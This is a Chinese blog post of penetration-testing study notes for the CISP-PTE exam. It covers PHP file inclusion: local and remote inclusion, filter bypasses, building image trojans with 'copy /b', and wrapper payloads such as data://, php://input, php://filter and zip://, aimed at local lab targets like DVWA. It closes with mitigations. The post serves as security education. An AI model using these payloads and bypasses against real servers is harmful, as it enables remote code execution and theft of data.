渗透测试CISP-PTE:文件包含

本文详细介绍了CISP-PTE渗透测试中的文件包含漏洞原理、类型、利用方法,包括源代码示例和安全问题,同时强调了预防措施,如输入验证和安全配置。
摘要由CSDN通过智能技术生成

渗透测试CISP-PTE-系列学习笔记

第一章 渗透测试CISP-PTE:Web安全简介
第二章 渗透测试CISP-PTE:信息收集
第三章 渗透测试CISP-PTE:漏洞扫描
第四章 渗透测试CISP-PTE:HTTP请求流程
第五章 渗透测试CISP-PTE:SQL注入
第六章 渗透测试CISP-PTE:暴力破解
第七章 渗透测试CISP-PTE:XSS
第八章 渗透测试CISP-PTE:CSRF
第九章 渗透测试CISP-PTE:文件上传
第十章 渗透测试CISP-PTE:文件包含



前言

文件包含漏洞(File Inclusion Vulnerability)是一种常见的Web应用程序安全漏洞。它会导致攻击者可以通过控制文件包含的输入来执行任意的代码。

文件包含漏洞通常出现在Web应用程序中,当应用程序在处理用户输入时,没有正确地检查和验证用户提供的文件路径或文件名。攻击者可以利用这个漏洞,将恶意文件包含到应用程序的执行流程中,从而执行恶意代码。

一、文件包含漏洞原理

开发人员把重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件。这种调用文件的过程被称为包含。

文件包含漏洞的产生原因是在通过引入文件时,由于传入 的文件名没有经过合理的校验,或者校验被绕过(文件名可用户指定),从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。大部分文件包含漏洞都出现在php的程序中。

文件包含漏洞分为:本地文件包含和远程文件包含

  • 当被包含的文件在服务器本地时,就形成了本地文件包含漏洞
  • 当被包含的文件在远程服务器时,就形成了远程文件包含漏洞

远程文件包含漏洞是因为开启了php配置中的allow_url_fopen选项(该选项开启后,服务器允许包含一个远程的文件)
PHP文件包含漏洞主要由以下几个函数导致

A、 include()
B、 include_once()
C、 require()
D、 require_once()

二、文件包含漏洞类型

  1. 本地文件包含(Local File Inclusion,LFI)
    攻击者可以通过控制文件路径,包含本地文件系统上的文件。这些文件可以包含敏感信息,如配置文件、密码文件等。
  2. 远程文件包含(Remote File Inclusion,RFI)
    攻击者可以通过控制URL参数,包含远程服务器上的文件。这些文件可以包含恶意脚本,攻击者可以利用它们执行任意的代码。

三、文件包含漏洞利用

1.源代码

1.1.含有文件包含漏洞的源代码-无过滤

在这里插入图片描述

利用文件包含漏洞来执行已上传的图片木马中的php代码:访问含有文件包含漏洞的页面并指定GET参数file,并在post data部分传入php木马参数

http://127.0.0.1/include.php?file=./upload/5220220624145502.png

1.2.含有文件包含漏洞的源代码-https?//和…/过滤

如下图所示该代码存在https?//和…/过滤,被替换为“”
使用双重字符串拼接来绕过:

http://127.0.0.1/include.php?file=....//....//upload/5220220624145502.png

在这里插入图片描述

1.3.含有文件包含漏洞的源代码-正则匹配过滤

如下图所示该代码存在正则匹配过滤

  • 文件名以file开头
    使用file伪协议(file://)来访问本地文件系统,需指定绝对路径(绝对路径获取方法:通过访问无效路径内容查看报错内容来获取)
http://127.0.0.1:8082/vulnerabilities/fi/?page=file:///C:\phpstudy_pro\WWW\dvwa\hackable\uploads\test-gen.jpg

(file后面的第三个‘ / ’代表根目录)

  • 文件名包含include.php
    在这里插入图片描述

1.4.含有文件包含漏洞的源代码-输入点后面存在代码写死的内容-远程文件

利用python搭建一个http服务器,通过远程文件来利用文件包含漏洞
python -m SampleHTTPServer 8099 //8099为端口号
利用方法如下:

http://127.0.0.1:8083/vul/fileinclude/fi_remote.php?filename=http://127.0.0.1:8099/test-rec.gif&submit=提交查询

2.利用方法

2.1.文件类型过滤-内容

1)使用构建图片木马来绕过上传
●fopen
该代码中利用fopen读取图片文件的前两个字节(图片文件的前两个字节每个类型都是固定的),因此使用文件后缀绕过方法无法成功绕过。

$file = fopen($filename, "rb");
$bin = fread($file, 2); //只读2字节

在这里插入图片描述

●getimagesize

     $info = getimagesize($filename);//用于获取图像大小及相关信息,成功返回一个数组
Array(     [0] => 290     [1] => 69     [2] => 3     [3] => width="290" height="69"     [bits] => 8     [mime] => image/png )
     $ext = image_type_to_extension($info[2]);//获取图片类型

●exif_imagetype

 $image_type = exif_imagetype($filename);//返回与IMAGETYPE常量之一相对应的整数

2)访问含有文件包含漏洞的页面并指定GET参数file,并在post data部分传入php木马参数

http://127.0.0.1/include.php?file=./upload/5220220624145502.png

在这里插入图片描述

2.2.文件类型过滤-内容并二次渲染生成新的图片

因jpg图片会存在压缩,png图片在末尾存在校验,所以针对这种情况使用gif格式图片进行木马上传,步骤如下所示:
1)先选择一个gif图片进行上传,并使用burpsuite截断
2)针对截取到gif图片上传请求进行更新,如下图所示,在gif图片内容中间增加对应的木马代码,然后forward(一般上传成功后图片的颜色会和原始图片颜色不一致)
3)访问含有文件包含漏洞的页面并指定GET参数file,并在post data部分传入php木马参数

http://127.0.0.1/include.php?file=./upload/5220220624145502.gif

在这里插入图片描述
在这里插入图片描述

3.构造图片木马

在cmd执行命令:copy /b test.jpg+shell.php testshell.jpg
生成的testshell.jpg文件即包含图片文件内容也包含php文件内容,而php执行代码时仅执行<?php ***** ?>里面的php代码,所以图片木马仍可以正常执行

三、伪协议

1.file-来访问本地文件系统,需指定绝对路径

(绝对路径获取方法:通过访问无效路径内容查看报错内容来获取)

http://127.0.0.1:8082/vulnerabilities/fi/?page=file:///C:\phpstudy_pro\WWW\dvwa\hackable\uploads\test-gen.jpg

(file后面的第三个‘ / ’代表根目录)

2.data-将后面的内容当初一个文件访问

●data://text/plan,<?php phpinfo(); ?>  //注意标点符号
●data://text/plan;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==   //注意标点符号,base64最后面的“==”可以去除

例如:http://127.0.0.1:8083/vul/fileinclude/fi_remote.php?filename=data://text/plan,<?php phpinfo(); ?>&submit=1

3.php

3.1 php://input

然后利用post参数传输<?php phpinfo(); ?>
在这里插入图片描述

3.2 php://filter/read=convert.base64-encode/resource=

获取页面的源代码(考试中一般把key放到源代码的注释中,利用该方法可以获取)

4.zip-从文件夹中读取其中的文件(相对路径或绝对路径)

http://127.0.0.1:8082/vulnerabilities/fi/?page=zip://c:/phpstudy_pro/WWW/dvwa/hackable/uploads/test-rec.zip%23test-rec.jpg

%23是‘#’的 url 编码

1 file:// — 访问本地文件系统
2 http:// — 访问 HTTP(s) 网址
3 ftp:// — 访问 FTP(s) URLs
4 php:// — 访问各个输入/输出流(I/O streams)
5 zlib:// — 压缩流
6 data:// — 数据(RFC 2397)
7 glob:// — 查找匹配的文件路径模式
8 phar:// — PHP 归档
9 ssh2:// — Secure Shell 2
10 rar:// — RAR
11 ogg:// — 音频流
12 expect:// — 处理交互式的流

四、文件包含漏洞的安全问题和缓解措施

1.文件包含漏洞可能导致以下安全问题:

  • 敏感信息泄露:攻击者可以通过包含敏感文件,获取应用程序的配置信息、数据库凭据等敏感信息。
  • 远程代码执行:攻击者可以通过包含恶意文件,执行任意的代码,从而完全控制受影响的系统。

2.为了防止文件包含漏洞,开发人员应该采取以下措施:

  • 输入验证和过滤:对用户输入进行验证和过滤,确保输入的文件路径或文件名是合法的。
  • 文件路径限制:限制文件包含的范围,只允许包含特定目录下的文件,避免包含任意文件。
  • 使用白名单:使用白名单来限制允许包含的文件列表,仅允许包含可信任的文件。
  • 安全配置:将敏感文件放置在Web根目录以外的位置,确保其无法直接通过URL访问。
  • 更新软件和框架:及时更新应用程序所使用的软件和框架,以修复已知的文件包含漏洞。

总结

以上就是今天要讲的内容,本文仅仅简单介绍了文件包含漏洞原理、漏洞类型、以及对应的典型漏洞利用案例等。后续将从命令执行等环节进行详细介绍。

  • 23
    点赞
  • 23
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

未知2066

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值